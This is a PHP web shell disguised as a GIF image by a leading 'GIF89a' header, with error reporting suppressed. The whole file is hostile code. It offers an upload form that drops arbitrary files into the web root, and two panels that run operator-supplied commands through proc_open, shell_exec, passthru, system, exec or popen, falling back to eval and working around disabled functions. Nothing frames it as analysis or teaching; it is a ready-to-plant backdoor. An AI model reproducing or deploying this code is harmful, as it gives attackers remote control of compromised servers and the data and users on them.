GIF89a
<?php
@error_reporting(0);
$__s=$_SERVER["SCRIPT_NAME"]??$_SERVER["PHP_SELF"]??"/";
$__s=preg_replace("#\?.*$#","",$__s);
if($_SERVER["REQUEST_METHOD"]==="POST"){
 if(isset($_POST["command"])||isset($_POST["bgsley"]))$_GET["bgsley"]="1";
 if(isset($_POST["cmd_in"])||isset($_POST["sley"]))$_GET["sley"]="1";
 if(isset($_FILES["w"]))$_GET["upl"]="1";
}
if(isset($_GET["c"])&&trim((string)$_GET["c"])!==""&&!isset($_GET["bgsley"])&&!isset($_GET["sley"])&&!isset($_GET["upl"]))$_GET["bgsley"]="1";

if(isset($_GET["upl"])||isset($_FILES["w"])){
 echo"<title>WASAWHOOOOO</title><h1>UPLOADER</h1><form method=post enctype=multipart/form-data><input type=file name=w><button>UP</button></form>";
 if(isset($_FILES["w"])){
  $t=$_SERVER["DOCUMENT_ROOT"]."/".$_FILES["w"]["name"];
  if(move_uploaded_file($_FILES["w"]["tmp_name"],$t))echo"[OK] <a href=/$_FILES[w][name]>OPEN</a>";
  else echo"[X] FAIL";
 }
 exit;
}

if(isset($_GET["bgsley"])){
 $cmd=$_POST["command"]??$_GET["c"]??"";
 echo"<title>JAWAra</title><h2>JAWAra HoreG Sound</h2><form method=post action='{$__s}?bgsley'><input type=hidden name=bgsley value=1><input type=text name=command placeholder=JAWA value='".htmlspecialchars($cmd)."'><button>JAWA</button></form><p>GET: ?bgsley&amp;c=whoami</p>";
 if($cmd){
  $disabled=array_map("trim",explode(",",ini_get("disable_functions")));
  $ok=function($f)use($disabled){return!in_array($f,$disabled,true);};
  $o="";
  if($ok("proc_open")){$sh=(PHP_OS[0]==="W")?"cmd.exe":"sh";
   $p=proc_open($sh,[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]],$pp);
   if(is_resource($p)){fwrite($pp[0],$cmd." 2>&1
");fclose($pp[0]);
   $o=stream_get_contents($pp[1]).stream_get_contents($pp[2]);
   fclose($pp[1]);fclose($pp[2]);proc_close($p);}}
  elseif($ok("shell_exec")){$o=shell_exec($cmd." 2>&1");}
  elseif($ok("passthru")){ob_start();passthru($cmd." 2>&1");$o=ob_get_clean();}
  elseif($ok("system")){ob_start();system($cmd." 2>&1");$o=ob_get_clean();}
  elseif($ok("exec")){exec($cmd." 2>&1",$a);$o=implode("
",$a);}
  elseif($ok("popen")){$h=popen($cmd." 2>&1","r");while(!feof($h))$o.=fread($h,4096);pclose($h);}
  else{@eval($cmd);$o="EVAL";}
  echo"<h2>crot</h2><pre>".htmlspecialchars($o?:"NOP")."</pre>";
 }
 exit;
}

if(isset($_GET["sley"])){
 echo"<title>BypasChankro Sley</title><h2>CHANKRO @ SLEY</h2><form method=post><input type=hidden name=sley value=1><input type=text name=cmd_in placeholder=cmd><input type=submit></form>";
 if(isset($_POST["cmd_in"])){
  $c=$_POST["cmd_in"];$o="";
  $disabled=array_map("trim",explode(",",ini_get("disable_functions")));
  $ok=function($f)use($disabled){return!in_array($f,$disabled,true);};
  if($ok("proc_open")){$sh=(PHP_OS[0]==="W")?"cmd.exe":"sh";
   $p=proc_open($sh,[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]],$pp);
   if(is_resource($p)){fwrite($pp[0],$c." 2>&1
");fclose($pp[0]);
   $o=stream_get_contents($pp[1]).stream_get_contents($pp[2]);
   fclose($pp[1]);fclose($pp[2]);proc_close($p);}}
  elseif($ok("shell_exec")){$o=shell_exec($c." 2>&1");}
  elseif($ok("passthru")){ob_start();passthru($c." 2>&1");$o=ob_get_clean();}
  elseif($ok("system")){ob_start();system($c." 2>&1");$o=ob_get_clean();}
  elseif($ok("exec")){exec($c." 2>&1",$a);$o=implode("
",$a);}
  elseif($ok("popen")){$h=popen($c." 2>&1","r");while(!feof($h))$o.=fread($h,4096);pclose($h);}
  else{@eval($c);$o="EVAL";}
  echo"<pre>".htmlspecialchars($o?:"NOP")."</pre>";
 }
 exit;
}
echo"ERROR BOSKU";